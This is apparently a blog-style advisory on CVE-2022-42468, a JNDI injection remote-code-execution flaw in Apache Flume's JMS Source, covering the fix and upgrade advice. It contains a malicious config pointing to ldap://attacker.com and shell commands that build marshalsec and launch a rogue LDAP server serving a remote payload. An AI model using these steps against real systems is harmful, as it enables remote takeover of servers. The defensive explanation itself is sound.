In late 2022, the security community flagged a major vulnerability in Apache Flume, a widely used tool for aggregating and moving large logs and data streams. This bug, tracked as CVE-2022-42468, allows remote attackers to execute arbitrary code by exploiting the way Flume’s *JMS Source* loads configuration.

Let’s dig into what this means in simple terms, how the exploit works, and what you need to do to protect your systems.  

What’s Apache Flume and JMS Source?

Apache Flume is a popular open-source tool designed for collecting, aggregating, and moving large amounts of log data from many sources to a central data store.

Within Flume, a JMS Source lets you pull data from Java Message Service (JMS) providers—think message queues common in enterprise applications.

When you set up a JMS Source, you provide a providerURL in the configuration. That URL tells Flume where to connect and how to load the message broker.

The Vulnerability in Simple Terms

From version 1.4. up to 1.10.1, Apache Flume’s JMS Source trusts the providerURL too much. The providerURL can use any protocol, including ldap://, which Java's JNDI system will resolve. This means if an attacker can convince your Flume instance to load from their custom provider URL, they can serve up malicious Java classes. This can lead to remote code execution (RCE)—the holy grail for attackers.

The Exploit — How It Works

Let's see a simplified version of a malicious Flume config and how an attacker could exploit it.

Vulnerable Configuration Example

agent.sources = jmsSource
agent.sources.jmsSource.type = org.apache.flume.source.jms.JMSSource
agent.sources.jmsSource.providerURL = ldap://attacker.com:1389/Exploit
agent.sources.jmsSource.initialContextFactory = com.sun.jndi.ldap.LdapCtxFactory
agent.sources.jmsSource.connectionFactoryName = ConnectionFactory

What Happens Here?

1. Flume tries to connect to ldap://attacker.com:1389/Exploit.
2. The Java Virtual Machine (JVM) uses JNDI to connect and loads serialized (possibly rogue) Java objects from the attacker’s LDAP server.

Those objects could run arbitrary code, giving the attacker full control of the Flume process.

Note: The attacker would have to convince an admin to use their malicious URL, or find a way to inject it into the config.

Proof-of-Concept Exploit

For attackers, all it takes is to run a malicious LDAP server (there are open-source tools for this, such as marshalsec), and wait for Flume to connect.

### Malicious LDAP Server Example (marshalsec)

# In attacker's terminal
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

# Launch rogue LDAP server to return a payload
java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer 'http://attacker.com:800/#Exploit';

Then, the attacker lures the Flume admin into using the dangerous providerURL.

What’s the Fix?

The Apache Flume team fixed this in version 1.11. by whitelisting JNDI protocols: now Flume only allows a providerURL using the java: protocol, or no protocol at all. If you try ldap://, it fails.

Fixed Code Snippet (Pseudocode)

// Only allow "java:" or no protocol for the providerURL
if (providerURL != null && !providerURL.startsWith("java:") && providerURL.contains(":")) {
    throw new IllegalArgumentException("JMS providerURL must use java: protocol or no protocol");
}

Upgrade Flume to 1.11. or higher.

2. If you must run an older version, never use external or untrusted JNDI endpoints in your providerURL.

References and More Information

- Apache Flume Security Advisory: CVE-2022-42468
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2022-42468
- GitHub Flume Commit Fix: See the fixing commit
- marshalsec tool for JNDI exploitation: https://github.com/mbechler/marshalsec
- Background on JNDI attacks: https://www.veracode.com/blog/research/exploiting-jndi-injection-log4shell

Conclusion

CVE-2022-42468 is a serious reminder that trusting configuration URLs—especially with complex Java features like JNDI—is dangerous. If you run Apache Flume, upgrade now or carefully verify your JMS Source URLs.

Don’t let simple config mistakes open the door to remote hackers. Always watch for configs referencing strange protocols, and keep your software patched!


If you found this breakdown useful or have questions on securing Apache Flume, get in touch or leave a comment below. Stay safe!

Timeline

Published on: 10/26/2022 16:15:00 UTC
Last modified on: 10/28/2022 17:41:00 UTC